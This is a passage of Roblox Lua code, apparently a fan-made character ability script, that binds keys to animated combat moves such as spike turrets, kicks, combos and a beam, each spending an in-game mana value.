- cw(function() for i=0,1,0.005 do if rn(1,7)==5 then hu:MoveTo((to.CFrame *cf(0,0,-6)).p,to) end local rndz=rn(1,20) if rndz==4 then funnyfiur(ca(0,rd(rn(-360,360)),0)*ca(rd(2),0,0)) elseif rndz==3 then funnyfiur(ca(rd(2),0,0)) elseif rndz==1 then ShootSpike(15,nil,"New Yeller",1,rn(15,38)/10,"random",false,2,to) end w() end end) c1(tw,0.005,3,0,-1.7,0,360*10,0,0)
- NormalPose(0.07)
- for xi=1,#spiks do local spiw=spiks[xi] cw(function() for i=2,0,-0.1 do spiw.C0=spiw.C0 *cf(0,-0.17,0) spiw.Part1.Mesh.Scale=v3(0.5,i*4,0.5) w() end spiw.Part1:Remove'' end) end w(0.5)
- Armz(true) Legz(true) a.b="None" a.c=true hu.WalkSpeed=ns cleanweld(tw,"a1")
- elseif mp >= 120 and k=="n" and a.a=="Spikes" and a.b=="None" then a.b="SpikeTurret" a.c=false
- Armz(false) Legz(false) hu.WalkSpeed=0 mp=mp -120 Sound(Sounds.Cast,1.3,1)
- cw(function() c1(law,0.06,3,-1.2,0.5,0,-50,0,-25) end) cw(function() c1(raw,0.06,3,1.2,0.5,0,-50,0,25) end)
- cw(function() c1(llw,0.06,3,-0.5,0.6,-0.7,-20,0,10) end) cw(function() c1(rlw,0.06,3,0.5,-0.9,0,50,0,-10) end)
- c1(tw,0.06,3,0,-1.3,0,30,0,0) w(0.25) if not Button then SpawnSpikeTurret(cf(mou.Hit.p),rn(8,18)/10,35,30,1) else SpawnSpikeTurret(cf(mou.Hit.p),rn(8,18)/10,35,30,-1) end w(0.1)
- cw(function() c1(law,0.06,3,-1.2,0.5,0,-160,0,-15) end) cw(function() c1(raw,0.06,3,1.2,0.5,0,-160,0,15) end)
- cw(function() c1(llw,0.06,3,-0.5,-1,0,0,0,0) end) cw(function() c1(rlw,0.06,3,0.5,-1,0,0,0,0) end)
- c1(tw,0.06,3,0,0,0,0,0,0) hu.WalkSpeed=ns w(0.5)
- NormalPose(0.1)
- Armz(true) Legz(true) a.b="None" a.c=true
- elseif mp >= 75 and k=="y" and a.a=="Spikes" and a.b=="None" and not dena then a.b="SpikeDisc" a.c=false dena=true
- Armz(false)
- repeat mp=mp - 75
- cw(function() c1(law,0.1,3,-1.2,1,-0.2,-40,0,30) end) c1(raw,0.1,3,1.2,1,0.2,40,0,30) Sound(Sounds.Unsheath,1.2,1)
- local spi=pa(m,"","Block",0.3,6,0.3,false,false,0,0,"Dark green") local spim=it("SpecialMesh",spi) spim.MeshType="FileMesh" spim.MeshId=asset .. Decs.Spike spim.Scale=v3(0.2,6,0.2) local spiw=weld(spi,ra,spi,0,-4,0,rd(180),0,0)
- cw(function() c1(law,0.1,3,-1.2,1,0.2,40,0,-30) end) c1(raw,0.2,3,1,0.6,-0.3,-80,65,0) c1(raw,0.2,3,1,0.6,-0.3,-100,10,0) FireDisc("Dark green",6,5,35,cf(spi.Position,mou.Hit.p)) spiw.Part0=la Sound(Sounds.Unsheath,1.2,1)
- cw(function() c1(raw,0.1,3,1.2,1,-0.2,40,0,-30) end) c1(law,0.2,3,-1,0.6,-0.3,-80,-65,0) c1(law,0.2,3,-1,0.6,-0.3,-100,-10,0) spi:Remove'' FireDisc("Dark green",6,5,35,cf(spi.Position,mou.Hit.p))
- until not dena or mp < 75
- dena = false cw(function() c1(law,0.15,3,-1.5,1,0,40,0,0) end) c1(raw,0.15,3,1.5,1,0,0,0,0)
- Armz(true) a.b="None" a.c=true
- elseif mp >= 35 and k=="f" and a.a=="Spikes" and a.b=="Hoverboard" then mp=mp-35 ShootSpike(15,nil,"Navy blue",1,2,cf((to.CFrame *cf(0,-4,-2)).p,mou.Hit.p)*cf(0,0,-4),true,3,nil)
- elseif k=="y" and a.a=="Spikes" and a.b=="SpikeDisc" and dena then dena=false
- elseif k=="x" and a.a=="Spikes" and a.b=="Hoverboard" then fsp=0
- elseif k=="n" and a.a=="Spikes" and a.b=="Hoverboard" then fsp=mfsp
- elseif k=="c" and a.a=="Spikes" and a.b=="Hoverboard" then if fsp-ffreq < 0 then fsp=0 else fsp=fsp-ffreq end
- elseif k=="b" and a.a=="Spikes" and a.b=="Hoverboard" then if fsp+ffreq > mfsp then fsp=mfsp else fsp=fsp+ffreq end
- elseif k=="v" and a.a=="Spikes" and a.b=="Hoverboard" and hena then hena=false
- elseif k=="x" and a.a=="Champion" and a.b=="Booster" then fsp=0
- elseif k=="n" and a.a=="Champion" and a.b=="Booster" then fsp=mfsp
- elseif k=="c" and a.a=="Champion" and a.b=="Booster" then if fsp-ffreq < 0 then fsp=0 else fsp=fsp-ffreq end
- elseif k=="b" and a.a=="Champion" and a.b=="Booster" then if fsp+ffreq > mfsp then fsp=mfsp else fsp=fsp+ffreq end
- elseif k=="v" and a.a=="Champion" and a.b=="Booster" and bena then bena=false
- elseif mp >= maxmp*0.9 and k=="h" and a.a=="Spikes" and a.b=="None" then a.b="SpikeRage" a.c=false
- Armz(false) Legz(false) mp=rn(1,maxmp/10) hu.WalkSpeed=0 Sound(Sounds.Cast,0.7,2) w(0.5)
- cw(function() c1(law,0.06,3,-1.2,0.8,0,30,0,40) end) cw(function() c1(raw,0.06,3,1,0.5,-0.6,-55,0,10) end)
- cw(function() c1(llw,0.06,3,-0.5,1.1,-0.7,-20,0,10) end) cw(function() c1(rlw,0.06,3,0.5,-0.4,0,50,0,-10) end)
- c1(tw,0.06,3,0,-1.8,0,30,0,0) Sound(Sounds.Smash,0.26,1)
- for i=0,360,360/8 do w() cw(function()
- for ii=1,5 do if rn(1,3)==1 then Sound(Sounds.Unsheath,0.9,1) end
- local spi=pa(workspace,"","Block",8,20,8,true,false,0,0,"Dark green") spi.Anchored=true local spim=it("SpecialMesh",spi) spim.MeshType="FileMesh" spim.MeshId=asset .. Decs.Spike spim.Scale=v3(3+(ii),25+(ii*1.5),3+(ii))
- local spawncf=to.CFrame *ca(0,rd(i+(ii*12)),0) *cf(0,0,8+(ii*12)) *ca(rd(20),0,0) spi.CFrame=spawncf *cf(0,-17,0) cw(function() for i=1,14 do spi.CFrame =spi.CFrame *cf(0,1.5,0) w() end w(3) for i=1,20 do spi.CFrame =spi.CFrame *cf(0,-1.5,0) w() end spi:Remove'' end)
- w(0.05) end end) end SplashDmg(true,to.Position,105,120,80)
- hu.WalkSpeed=ns NormalPose(0.08)
- Armz(true) Legz(true) a.b="None" a.c=true
- elseif mp >= 50 and k=="r" and a.a=="Spikes" and a.b=="None" then a.b="SpikeBlock" a.c=false
- Armz(false) mp=mp - 50 hu.WalkSpeed=ns/2 Block.Value=true
- cw(function() c1(hw,0.15,3,0,1.5,0,0,35,0) end) cw(function() c1(tw,0.15,3,0,0,1.8,0,-35,0) end) cw(function() c1(law,0.15,3,-1,0.55,-0.9,-90,55,0) end) c1(raw,0.15,3,1.2,0.55,0.6,-90,10,0)
- local spis={} for xi=0,360,360/16 do local xzx=5.5 if xi%((360/16)*2)==0 then xzx=4.1 w() end
- local spi=pa(m,"Shield","Block",0,0,0,false,false,0,0,"Dark green") local spim=it("SpecialMesh",spi) spim.MeshType="FileMesh" spim.MeshId=asset .. Decs.Spike
- local spiw=weld(spi,to,spi,0,0.65,-0.8,0,0,rd(xi)) spiw.C0=spiw.C0 *ca(rd(15),0,0)
- cw(function() for i=0,1,0.1 do if rn(1,25)==1 then Sound(Sounds.Unsheath,rn(9,16)/10,1) end spiw.C0=spiw.C0 *cf(0,0.16,0) spim.Scale=v3(0.6*i,i*xzx,0.6*i) w() end end)
- ti(spis,spi) end
- local spi=pa(m,"Shield","Block",0,0,0,false,false,0,0,"Dark green") local spim=it("SpecialMesh",spi) spim.MeshType="FileMesh" spim.MeshId=asset .. Decs.Spike
- local spiw=weld(spi,to,spi,0,0.65,-0.8,rd(-90),0,0)
- cw(function() for i=0,1,0.1 do if rn(1,25)==1 then Sound(Sounds.Unsheath,rn(9,16)/10,1) end spiw.C0=spiw.C0 *cf(0,0.16,0) spim.Scale=v3(0.6*i,i*4.7,0.6*i) w() end end)
- ti(spis,spi) w(1)
- repeat w() mp=mp - 0.1 until mp < 0.5 or ky=="r"
- for xi=1,#spis do local spi=spis[xi] local spiw=spi.Weld local spim=spi.Mesh
- local xzx=spim.Scale.y cw(function() for i=1,0,-0.1 do if rn(1,15)==1 then Sound(Sounds.Unsheath,rn(9,16)/10,1) end spiw.C0=spiw.C0 *cf(0,-0.16,0) spim.Scale=v3(0.6*i,i*xzx,0.6*i) w() end spi:Remove'' end)
- end Block.Value=false hu.WalkSpeed=ns
- w(0.25) cw(function() c1(hw,0.15,3,0,1.5,0,0,0,0) end) cw(function() c1(tw,0.15,3,0,0,0,0,0,0) end) cw(function() c1(law,0.06,3,-1.5,1,0,0,0,0) end) c1(raw,0.06,3,1.5,1,0,0,0,0)
- Armz(true) a.c=true a.b="None"
- elseif mp >= 45 and k=="e" and a.a=="Champion" and a.b=="None" then a.b="Jab" a.c=false
- Legz(true) mp=mp - 45 hu.WalkSpeed=ns*1.5 Sound(Sounds.Slash,0.9,1) Trail2(9999,ra,0.08,ts(ra.BrickColor),0.7,cf(0,-2.5,0)) rayHit(0.75,5,ra,ca(rd(-90),0,0),3.2,15,35)
- cw(function() c1(hw,0.15,3,0,1.5,0,-10,60,0) end) cw(function() c1(law,0.12,3,-1.3,1,-0.2,45,0,1) end) cw(function() c1(tw,0.12,3,0,0,-4,0,-60,0) end) c1(raw,0.12,3,1,0.75,-0.5,-92,60,0)
- rtab(sTrail,ra) w(0.2) cw(function() c1(hw,0.15,3,0,1.5,0,0,0,0) end) cw(function() c1(tw,0.15,3,0,0,0,0,0,0) end) hu.WalkSpeed=ns*1.2 cw(function() c1(law,0.15,3,-1.3,1,-0.2,30,0,18) end) c1(raw,0.15,3,1.3,1,-0.2,30,0,-18) a.c=true a.b="None"
- elseif mp < maxmp and k=="z" and a.a=="Champion" and a.b=="None" then a.b="Charge" a.c=false
- Armz(false) Legz(false) hu.WalkSpeed=ns/5
- cw(function() c1(llw,0.07,3,-0.5,-1,0,-15,0,20) end) cw(function() c1(rlw,0.07,3,0.5,-1,0,-15,0,-20) end)
- cw(function() c1(law,0.07,3,-1.3,0.1,-0.3,-140,-25,0) end) c1(raw,0.07,3,1.3,0.1,-0.3,-140,25,0) Sound(Sounds.Cast,1,1)
- local crwns={}
- for i=1,5 do
- local spi=pa(m,"","Block",0,0,0,false,false,1,0,raigcol2) spi.Anchored=true local spim=it("SpecialMesh",spi) spim.MeshType="FileMesh" spim.MeshId=asset .. Decs.Crown
- spim.Scale=v3(i*3,15-(i*1.6),i*3) cw(function() for i=1,0.4,-0.05 do spi.Transparency=i w() end end) ti(crwns,spi) end
- cw(function() local ysp=0 repeat ysp=ysp + 15 for ix,spi in pairs(crwns) do local ysp2=1 if ix%2==0 then ysp2=-1 end spi.CFrame=to.CFrame *cf(0,-2,0) *ca(0,rd(ysp*ysp2),0) end w() until a.c end)
- local tyms=0 repeat tyms=tyms + 1 w() if tyms%15==0 then Sound(Sounds.Cast,1,0.5) end addmp(3.5) if rn(1,3)==1 then RaiseBubble(to.CFrame *cf(0,-2,0),rn(8,13)/10,90,raigcol) end until mp >= maxmp or ky=="z" Sound(Sounds.ElectricalCharge,0.8,4)
- cw(function() for ix,spi in pairs(crwns) do cw(function() for xi=0.4,1,0.05 do spi.Transparency=xi w() end spi:Remove'' end) end end)
- cw(function() c1(law,0.15,3,-1.3,1,-0.2,30,0,18) end) cw(function() c1(raw,0.15,3,1.3,1,-0.2,30,0,-18) end)
- cw(function() c1(llw,0.07,3,-0.5,-1,0,0,0,0) end) c1(rlw,0.07,3,0.5,-1,0,0,0,0) Legz(true) hu.WalkSpeed=ns*1.2 a.c=true a.b="None"
- elseif mp >= 60 and k=="g" and a.a=="Champion" and a.b=="None" then a.b="FlipKick" a.c=false
- Legz(false) hu.WalkSpeed=ns*1.5 mp=mp - 60 FacePos(to,to.Position,mou.Hit.p,500,v3(0,1/0,0),ca(0,rd(12),0),0.5)
- cw(function() c1(law,0.08,3,-1.3,0.8,0,60,0,18) end) cw(function() c1(raw,0.08,3,1.3,0.8,0,60,0,-18) end)
- Sound(Sounds.Slash,1.2,1) BlastMesh(raigcol2,to,cf(0,-2,0),3.5) cw(function() c1(tw,0.16,3,0,-0.5,0,10,0,0) c1(tw,0.16,3,0,1.5,2,30,0,0) end) cw(function() c1(llw,0.08,3,-0.5,-0.6,0,70,0,0) end) c1(rlw,0.08,3,0.5,0,-1,15,0,0) w() Trail2(9999,rl,0.045,ts(rl.BrickColor),0.9,cf(0,-2.8,0)) rayHit(2.5,5,rl,ca(rd(-90),0,0),6,20,38)
- cw(function() c1(tw,0.08,1,0,4.5,0,0,0,0) c1(tw,0.062,1,0,0,0,0,0,0) end) cw(function() c1(tw,0.04,0,0,0,0,360,360,0) cleanweld(tw,"a0") end) cw(function() c1(llw,0.2,3,-0.5,-1,0,160,0,0) end) c1(rlw,0.2,3,0.5,-1,0,-15,0,0) cw(function() w(0.5) rtab(sTrail,rl) end)
- cw(function() c1(law,0.15,3,-1.3,1,-0.2,30,0,18) end) cw(function() c1(raw,0.15,3,1.3,1,-0.2,30,0,-18) end)
- cw(function() c1(llw,0.07,3,-0.5,-1,0,0,0,0) end) c1(rlw,0.07,3,0.5,-1,0,0,0,0) hu.WalkSpeed=ns*1.2 Legz(true) a.c=true a.b="None"
- elseif mp >= 40 and k=="x" and a.a=="Champion" and a.b=="None" then a.b="Roundhouse" a.c=false
- Legz(false) mp=mp - 40 cw(function() c1(law,0.15,3,-0.8,0,-0.5,-170,0,5) end) cw(function() c1(raw,0.15,3,0.8,0,-0.5,-170,0,-5) end) Trail2(9999,ll,0.045,ts(ll.BrickColor),0.5,cf(0,-2.8,0)) rayHit(2.5,5,ll,ca(rd(-90),0,0),6,20,38) Sound(Sounds.Slash,1.2,1)
- cw(function() c1(tw,0.06,1,0,0,0,0,0,100) c1(tw,0.08,1,0,0,0,0,0,0) end) cw(function() c1(llw,0.12,3,-0.5,-1,0,0,0,50) w(0.1) c1(llw,0.2,3,-0.5,-1,0,0,0,0) end) cw(function() c1(rlw,0.06,3,0.5,-1,0,0,0,-100) c1(rlw,0.06,3,0.5,-1,0,0,0,0) end) c1(tw,0.06,0,0,0,-2.5,0,360,0) cw(function() w(0.4) rtab(sTrail,ll) end)
- cleanweld(tw,"a0") cw(function() c1(tw,0.08,0,0,0,0,0,0,0) end) cw(function() c1(law,0.07,3,-1.3,1,-0.2,30,0,18) end) c1(raw,0.07,3,1.3,1,-0.2,30,0,-18) Legz(true) a.c=true a.b="None"
- elseif mp >= 30 and k=="r" and a.a=="Champion" and a.b=="None" then a.b="Block" a.c=false hu.WalkSpeed=ns/2 mp=mp - 30 Legz(true)
- Sound(Sounds.Cast,1.2,1) cw(function() c1(hw,0.06,3,0,1.5,0,0,45,0) end) cw(function() c1(tw,0.06,3,0,0,2.5,0,-45,0) end) cw(function() c1(law,0.07,3,-1.3,1,0,0,0,30) end) c1(raw,0.07,3,1.5,-0.2,-0.2,-170,0,10)
- Sound(Sounds.SaberLightUp,1.4,1) local tyms=0 Block.Value=true repeat tyms=tyms + 1 if tyms%15==0 then Sound(Sounds.SaberLightUp,1.55,0.5) end if tyms%8==0 then GlowMesh(true,asset .. Decs.Shield1,to,v3(5,15,4),raigcol2,cf(0.5,1,0.5)*ca(rd(-90),0,0)) GlowMesh(true,asset .. Decs.Crown,to,v3(7,0.5,7),raigcol2,cf(0,-2.5,2.5)*ca(0,rd(tyms*3),0)) end w() mp=mp - 0.5 until mp <= 0 or ky=="r" Block.Value=false
- cw(function() c1(hw,0.06,3,0,1.5,0,0,0,0) end) cw(function() c1(tw,0.06,3,0,0,0,0,0,0) end) hu.WalkSpeed=ns*1.2 cw(function() c1(law,0.07,3,-1.3,1,-0.2,30,0,18) end) c1(raw,0.07,3,1.3,1,-0.2,30,0,-18) Legb=true a.c=true a.b="None"
- elseif mp >= 70 and k=="t" and a.a=="Champion" and a.b=="None" then a.b="WhirlKick" a.c=false hu.WalkSpeed=ns*1.5 mp=mp - 70 Legz(false)
- cw(function() c1(law,0.1,3,-1.2,1,0,-175,0,10) end) cw(function() c1(raw,0.1,3,1.2,1,0,-185,0,-10) end) cw(function() c1(llw,0.1,3,-0.9,-1,0,0,0,85) end) cw(function() c1(rlw,0.1,3,0.9,-1,0,0,0,-95) end) c1(tw,0.08,0,0.07,0,0,170,0,0) Trail2(9999,rl,0.045,ts(rl.BrickColor),0.4,cf(0,-2.8,0)) rayHit(3.5,5,rl,ca(rd(-90),0,0),6,20,38) Trail2(9999,ll,0.045,ts(ll.BrickColor),0.4,cf(0,-2.8,0)) rayHit(3.5,5,ll,ca(rd(-90),0,0),6,20,38) cw(function() Sound(Sounds.Spin,1,1) for i=0,0.5,0.02 do w() end w() Sound(Sounds.Spin,1,1) end) c1(tw,0.02,1,0,0,0,0,360*3,0) cleanweld(tw,"a1")
- cw(function() w(0.4) rtab(sTrail,ll) rtab(sTrail,rl) end) cw(function() c1(tw,0.08,0,0,0,0,0,0,0) end)cw(function() c1(llw,0.07,3,-0.5,-1,0,0,0,0) end) cw(function() c1(rlw,0.07,3,0.5,-1,0,0,0,0) end) hu.WalkSpeed=ns*1.2 cw(function() c1(law,0.07,3,-1.3,1,-0.2,30,0,18) end) c1(raw,0.07,3,1.3,1,-0.2,30,0,-18) w(0.25) Legz(true) a.c=true a.b="None"
- elseif mp >= 50 and k=="q" and a.a=="Champion" and a.b=="None" then a.b="360Uppercut" a.c=false mp=mp - 50
- cw(function() c1(law,0.06,3,-1.5,0.5,-0.5,-140,0,18) end) cw(function() c1(raw,0.06,3,1.3,1,-0.2,40,0,-25) end) Trail2(9999,la,0.045,raigcol3,0.8,cf(0,-2.8,0)) rayHit(1.5,5,t,ca(0,0,0),6,20,42)
- cw(function() local bf=it("BodyForce",t) bf.force=v3(0,9000,0) game:service'Debris':AddItem(bf,0.2) Sound(Sounds.Slash,1.2,1) end) c1(tw,0.055,3,0,0,-1,0,360,0)
- rtab(sTrail,la) cleanweld(tw,"a1") cw(function() c1(tw,0.15,3,0,0,0,0,0,0) end) cw(function() c1(law,0.14,3,-1.3,1,-0.2,30,0,18) end) c1(raw,0.14,3,1.3,1,-0.2,30,0,-18) a.c=false a.b="None" Legz(true)
- elseif mp >= 20 and k=="v" and a.a=="Champion" and a.b=="None" and not bena then a.b="Booster" a.c=false bena=true mp=mp - 10 Legz(false)
- cw(function() c1(llw,0.08,3,-0.5,-1,0,0,0,10) end) cw(function() c1(rlw,0.08,3,0.5,-1,0,0,0,-10) end)
- cw(function() c1(hw,0.14,3,0,1.5,0,-45,0,0) end) cw(function() c1(tw,0.14,3,0,0,0,60,0,0) end) local tyms=0 local bpt=it("BodyPosition",to) bpt.position=to.Position bpt.maxForce=v310 local bgt=it("BodyGyro",to) bgt.maxTorque=v310 bgt.D=1250
- repeat local lulzspid=-a.ClickHold*2.5 if lulzspid < -50 then lulzspid=-50 end bpt.position=(to.CFrame *cf(0,0,-fsp+(lulzspid))).p bgt.cframe=cf(to.Position,mou.Hit.p) mp=mp -1.25 tyms=tyms + 1 if tyms%8==0 then GlowMesh(false,asset .. Decs.Crown,t,v3(5,7,5),raigcol2,cf(0,0.5,0)*ca(rd(180),rd(tyms*3),0)) end w() until mp <= 0 or not bena
- bena=false fsp=dfsp bpt:Remove'' bgt:Remove'' w(0.5) cw(function() c1(hw,0.14,3,0,1.5,0,0,0,0) end) cw(function() c1(llw,0.08,3,-0.5,-1,0,0,0,0) end) cw(function() c1(rlw,0.08,3,0.5,-1,0,0,0,0) end) cw(function() c1(tw,0.14,3,0,0,0,0,0,0) end) cw(function() c1(law,0.14,3,-1.3,1,-0.2,30,0,18) end) c1(raw,0.14,3,1.3,1,-0.2,30,0,-18) Legz(true) a.c=true a.b="None" Legb2=true
- elseif mp >= 120 and k=="b" and a.a=="Champion" and a.b=="None" then a.b="Combo" a.c=false mp=mp - 120 local aspi=0.07 tw.C1=cf(0,0,0) *ca(0,0,0)
- Sound(Sounds.Slash,1.2,1) Trail2(9999,la,0.045,ts(la.BrickColor),0.4,cf(0,-2.8,0)) rayHit(1.3,5,la,ca(rd(-90),0,0),6,12,15) cw(function() c1(hw,aspi,3,0,1.5,0,0,-80,0) end) cw(function() c1(law,aspi,3,-1.3,0.5,-0.2,0,0,85) end) cw(function() c1(raw,aspi,3,1.3,1,-0.2,30,0,-45) end) c1(tw,aspi,0,0,0,0,0,-90,0) rtab(sTrail,la) w(0.1)
- Sound(Sounds.Slash,1.2,1) Trail2(9999,ra,0.045,ts(ra.BrickColor),0.4,cf(0,-2.8,0)) rayHit(1.3,5,ra,ca(rd(-90),0,0),6,13,18) cw(function() c1(hw,aspi,3,0,1.5,0,0,80,0) end) cw(function() c1(law,aspi,3,-0.8,0,-0.5,-170,0,5) end) cw(function() c1(raw,aspi,3,1.1,0.5,-0.2,0,20,-85) end) c1(tw,aspi,0,0,0,0,0,-270,0) rtab(sTrail,ra) w(0.1) cw(function() c1(raw,aspi,3,0.8,0,-0.5,-170,0,-5) end)
- Sound(Sounds.Slash,1.2,1) Trail2(9999,ll,0.045,ts(ll.BrickColor),0.4,cf(0,-2.8,0)) rayHit(1.3,5,ll,ca(rd(-90),0,0),6,15,21) cw(function() c1(hw,aspi,3,0,1.5,0,0,0,0) end) Legz(false) cw(function() c1(llw,aspi,3,-0.5,-1,0,0,0,40) end) cw(function() c1(rlw,aspi,3,0.5,-1,0,0,0,-80) end) cw(function() c1(tw,aspi,1,0,0,0,0,0,75) end) w(0.1) c1(tw,aspi,0,0,0,0,0,-490,0) rtab(sTrail,ll) w()
- cw(function() c1(llw,0.08,3,-0.5,-1,0,0,0,0) end) cw(function() c1(rlw,0.08,3,0.5,-1,0,0,0,0) end) cw(function() c1(hw,0.08,3,0,1.5,0,0,0,0) end) cw(function() c1(tw,0.14,0,0,0,0,0,-360,0) end) cw(function() c1(tw,0.14,1,0,0,0,0,0,0) end) cw(function() c1(law,0.14,3,-1.3,1,-0.2,30,0,18) end) c1(raw,0.14,3,1.3,1,-0.2,30,0,-18) w(0.25) a.b="None" a.c=true Legz(true) cleanweld(tw,"a0") cleanweld(tw,"a1")
- elseif mp >= 50 and k=="f" and a.a=="Champion" and a.b=="None" then a.b="RapidPunch" a.c=false tw.C1=cf(0,0,0) *ca(0,0,0)
- cw(function() c1(law,0.08,3,-1.3,0.5,-0.2,-100,0,0) end) c1(raw,0.08,3,1.3,0.5,-0.2,-100,0,0) Trail2(9999,la,0.06,ts(la.BrickColor),0.4,cf(0,-3.5,0)) Trail2(9999,ra,0.06,ts(ra.BrickColor),0.25,cf(0,-3.5,0))
- local bgt=it("BodyGyro",to) bgt.maxTorque=v310 bgt.D=50 local tyms=0 repeat tyms=tyms + 1 bgt.cframe=cf(to.Position,v3(mou.Hit.p.x,to.Position.y,mou.Hit.p.z)) if (tyms+15)%30==0 then rayHit(0.4,5,ra,ca(rd(-90),0,0),4,8,12) end if tyms%30==0 then rayHit(0.4,5,la,ca(rd(-90),0,0),4,8,12) end if tyms%6==0 then Sound(Sounds.Slash,1.2,1) end if tyms%2==0 then c1(law,1,3,-1.3,0.5,0-(rn(-2,5)/10),-100+rn(-40,40),rn(-10,35),0) end if (tyms+1)%2==0 then c1(raw,1,3,1.3,0.5,0-(rn(-2,5)/10),-100+rn(-50,50),rn(-35,10),0) end w() mp=mp - 1.5 until mp < 3 or ky=="f"
- bgt:Remove'' rtab(sTrail,la) rtab(sTrail,ra) cw(function() c1(law,0.06,3,-1.3,1,-0.2,30,0,18) end) c1(raw,0.06,3,1.3,1,-0.2,30,0,-18) a.c=true a.b="None"
- elseif mp >= 80 and k=="y" and a.a=="Champion" and a.b=="None" then a.b="Combo2" a.c=false mp=mp - 80
- Sound(Sounds.Slash,1.2,1) Trail2(9999,ra,0.045,ts(ra.BrickColor),0.4,cf(0,-2.8,0)) cw(function() c1(hw,0.06,0,0,1.5,0,0,-105,0) end) cw(function() c1(tw,0.06,0,0,0,0,0,105,0) end) c1(raw,0.08,3,1,0.5,0,10,0,-90) local rhit,aihu=rayHit2(ra,ca(rd(-90),0,0),5) if rhit and aihu and aihu.Parent:findFirstChild("Torso") then hu.WalkSpeed=0 aihu.PlatformStand=true local vto=aihu.Parent.Torso Sound(Sounds.Smash,1,1) Dmgz(false,aihu,rn(18,25),vto) local aibp=it("BodyPosition",vto) aibp.maxForce=v310 aibp.position=vto.Position + v3(0,2.5,0) c1(raw,0.1,3,1.5,0.3,0,-10,0,-180)
- rtab(sTrail,ra) w(0.25) Legz(false) Sound(Sounds.Slash,1.2,1) cw(function() c1(llw,0.06,3,-0.5,-1,0,0,0,50) end) cw(function() c1(rlw,0.06,3,0.5,-1,0,0,0,-80) end) cw(function() c1(tw,0.06,1,0,0,0,0,0,80) end) cw(function() c1(tw,0.06,0,0,0,0,0,-140,0) end) cw(function() for i=0,1,0.084 do w() end aibp.position=(to.CFrame *cf(12,8,-3)).p w() aibp:Remove'' w(1) aihu.PlatformStand=false end) rayHit(2,5,ll,ca(rd(-90),0,0),6,15,21) Trail2(9999,ll,0.045,ts(ll.BrickColor),0.4,cf(0,-2.8,0)) cw(function() c1(raw,0.06,3,0.9,0,-0.5,-170,0,-5) end) cw(function() c1(hw,0.06,0,0,1.5,0,0,0,0) end) c1(law,0.06,3,-0.9,0,-0.5,-170,0,5)
- w(0.1) rtab(sTrail,ll) cw(function() c1(llw,0.06,3,-0.5,-1,0,0,0,0) end) cw(function() c1(rlw,0.06,3,0.5,-1,0,0,0,0) end)
- else rtab(sTrail,ra) w(0.5) end
- cw(function() c1(hw,0.1,0,0,1.5,0,0,0,0) end) cw(function() c1(tw,0.06,1,0,0,0,0,0,0) end) cw(function() c1(tw,0.06,0,0,0,0,0,0,0) end)
- hu.WalkSpeed=ns*1.2 Legz(true) cw(function() c1(law,0.06,3,-1.3,1,-0.2,30,0,18) end) c1(raw,0.06,3,1.3,1,-0.2,30,0,-18) w(0.1) Legz(true) a.c=true a.b="None"
- elseif mp >= maxmp*0.4 and k=="h" and a.a=="Champion" and a.b=="None" then a.b="Beam" a.c=false hu.WalkSpeed=ns/2 mp=mp -50
- cw(function() c1(law,0.06,3,-1.3,0.55,-0.2,-90,5,0) end) c1(raw,0.06,3,1.3,0.55,-0.2,-90,-5,0)
- for i=1,10 do if i%3==0 then Sound(Sounds.Cast,0.5,1) end GlowMesh(true,"Sphere",to,v3(i/1.2,i/1.2,i/1.2),raigcol,cf(0,1.5,-4.5)) w(0.2) end
- Legz(false) cw(function() c1(llw,0.06,3,-0.5,-1,0,-30,0,20) end) cw(function() c1(rlw,0.06,3,0.5,-1,0,-30,0,-20) end)
- local b1=pa(m,"","Ball",8,8,8,false,false,0.1,0,raigcol) b1.Anchored=true
- local b2=pa(m,"","Block",8,1,8,false,false,0.1,0,raigcol) b2.Anchored=true local b2m=it("CylinderMesh",b2)
- local b3=pa(m,"","Ball",8,8,8,false,false,0.1,0,raigcol) b3.Anchored=true local circs={}
- for i=1,5 do
- local b5=pa(m,"","Block",0,0,0,false,false,0.1,0,raigcol) b5.Anchored=true local b5m=it("SpecialMesh",b5) b5m.MeshType="FileMesh" b5m.MeshId=asset .. Decs.Ring
- b5m.Scale=v3(10,10,10) ti(circs,b5)
- end
- local bgt=it("BodyGyro",to) bgt.maxTorque=v310 bgt.D=1300 local tyms=0 repeat tyms=tyms + 1 local tcf=t.CFrame*cf(0,-1.5,0) local bhit,bpos=ray(tcf.p,tcf.p - (tcf *cf(0,0,2)).p) b1.CFrame=tcf*cf(rn(-10,10)/10,(rn(-10,10)/10)+2,(rn(-10,10)/10)-5) for xx=1,#circs do circs[xx].CFrame=b1.CFrame*cf(0,0,-2-(xx*4))*ca(0,0,0) end b3.CFrame=cf(bpos+v3(rn(-10,10)/10,rn(-10,10)/10,rn(-10,10)/10)) b2.CFrame=cf(b1.Position,b3.Position) local bmag=(b1.Position - b3.Position).magnitude b2.CFrame=b2.CFrame *cf(0,0,-bmag/2)*ca(rd(-90),0,0) b2m.Scale=v3(1,bmag,1) if tyms%7==0 and bhit then Explode(b2.CFrame*cf(0,bmag/2,0),15,raigcol2,20) end bgt.cframe=cf(to.Position,v3(mou.Hit.p.x,to.Position.y,mou.Hit.p.z)) w() mp=mp -2.5 until mp < 3 or ky=="h"
- bgt:Remove'' fade(b1,0.1) fade(b2,0.1) fade(b3,0.1) for i=1,#circs do fade(circs[i],0.1) end
- cw(function() c1(llw,0.06,3,-0.5,-1,0,0,0,0) end) cw(function() c1(rlw,0.06,3,0.5,-1,0,0,0,0) end) cw(function() c1(law,0.06,3,-1.3,1,-0.2,30,0,18) end) c1(raw,0.06,3,1.3,1,-0.2,30,0,-18) a.c=true a.b="None" hu.WalkSpeed=ns*1.2 Legz(true)
- elseif mp >= 80 and k=="n" and a.a=="Champion" and a.b=="None" then a.b="KillZone" a.c=false mp=mp -80 Legz(false)
- Sound(Sounds.Cast,1.4,1) cw(function() c1(law,0.08,3,-1.2,0.5,0,-50,0,-25) end) cw(function() c1(raw,0.08,3,1.2,0.5,0,-50,0,25) end)
- cw(function() c1(llw,0.08,3,-0.5,0.6,-0.7,-20,0,10) end) cw(function() c1(rlw,0.08,3,0.5,-0.9,0,50,0,-10) end)
- c1(tw,0.08,3,0,-1.3,0,30,0,0) w(0.25) cw(function() c1(tw,0.08,3,0,0,0,0,0,0) end) cw(function() c1(llw,0.08,3,-0.5,-1,0,0,0,0) end) cw(function() c1(rlw,0.08,3,0.5,-1,0,0,0,0) end) SpawnKillZone(to.CFrame*cf(0,-2,-4.5),rn(10,13)/10,20,raigcol3)
